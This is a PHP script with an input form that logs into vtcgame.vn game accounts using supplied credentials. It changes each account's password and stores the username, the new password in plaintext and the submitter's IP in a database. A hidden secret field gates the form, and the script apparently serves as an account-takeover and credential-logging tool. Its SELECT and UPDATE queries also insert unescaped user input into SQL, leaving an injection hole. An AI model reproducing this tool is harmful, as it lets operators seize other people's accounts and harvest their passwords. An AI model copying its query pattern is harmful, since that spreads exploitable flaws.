<?php
require_once("mysql.php");
include('curlvtc.php');

function getRealIPAddress(){
    if(!empty($_SERVER['HTTP_CLIENT_IP'])){

        $ip = $_SERVER['HTTP_CLIENT_IP'];
    }else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){

        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }else{
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

function insertacc($a,$b,$c)
{

 if ( mysql_num_rows(mysql_query("SELECT taikhoan FROM acccf WHERE taikhoan='$a'"))>0)
    {
       $up = "UPDATE acccf SET matkhau='$b' , ip='$c' WHERE taikhoan='$a'";

       mysql_query($up);
    }
else{
$add = "INSERT INTO acccf (taikhoan, matkhau, ip) VALUES ('%s','%s','%s')";
mysql_query(sprintf($add,mysql_real_escape_string($a),mysql_real_escape_string($b),mysql_real_escape_string($c)));
}
}

if($_POST['op']=='bo2oko1o'){

$user = urlencode(preg_replace('/\s+/', '', $_POST['taikhoan']));
$pass= urlencode($_POST['matkhau']);
$npass= urlencode(preg_replace('/\s+/', '', $_POST['matkhau2']));
$ip = getRealIPAddress();

$cc = new cURL();
$html =  $cc->get('https://vtcgame.vn/emobile/index.html');



preg_match('#id="__VIEWSTATE" value="(.*?)"#',$html,$viewstate);
preg_match('#id="__VIEWSTATEGENERATOR" value="(.*?)"#',$html,$viewstategenerator);
preg_match('#id="__EVENTVALIDATION" value="(.*?)"#',$html,$eventvalidation);

$data = '__EVENTTARGET='.'&__EVENTARGUMENT='.'&__VIEWSTATEGENERATOR='.urlencode($viewstategenerator[1]).'&__VIEWSTATE='.urlencode($viewstate[1]).'&__EVENTVALIDATION='.urlencode($eventvalidation[1]).'&ctl00$ContentPlaceHolder1$txtUserName='.$user. '&ctl00$ContentPlaceHolder1$txtPassword='.$pass.'&ctl00$ContentPlaceHolder1$btnSignIn=%C4%90%C4%83ng%20nh%E1%BA%ADp';

$html = $cc->post('https://vtcgame.vn/emobile/index.html',$data);

if(preg_match('#style="color:Red;"></span>#',$html))
{
$html = $cc->get('https://vtcgame.vn/emobile/accountchangepassword.html');


preg_match('#id="__VIEWSTATE" value="(.*?)"#',$html,$viewstate);
preg_match('#id="__VIEWSTATEGENERATOR" value="(.*?)"#',$html,$viewstategenerator);
preg_match('#id="__EVENTVALIDATION" value="(.*?)"#',$html,$eventvalidation);

$data = '__EVENTTARGET='.'&__EVENTARGUMENT='.'&__VIEWSTATEGENERATOR='.urlencode($viewstategenerator[1]).'&__VIEWSTATE='.urlencode($viewstate[1]).'&__EVENTVALIDATION='.urlencode($eventvalidation[1]).'&ctl00%24ContentPlaceHolder1%24txtOldPass='.$pass. '&ctl00%24ContentPlaceHolder1%24txtNewPass='.$npass. '&ctl00%24ContentPlaceHolder1%24txtRetypePass='.$npass.'&ctl00%24ContentPlaceHolder1%24btnChangePass=%C4%90%E1%BB%95i+m%E1%BA%ADt+kh%E1%BA%A9u';

$html = $cc->post('https://vtcgame.vn/emobile/accountchangepassword.html',$data);
if(preg_match('#style="color:Green;">(.*?)</span>#',$html,$echoa))
{
echo $echoa[1];
insertacc($user,$npass,$ip);
}
}


}
?>
<form action='' method='post'>
<input name='taikhoan' type='text' autocomplete="off" />
<input name='matkhau' type='text' autocomplete="off" />
<input name='matkhau2' type='text' autocomplete="off" />
<input name='op' type='password' autocomplete="off" />
<input type='submit'/>
</form>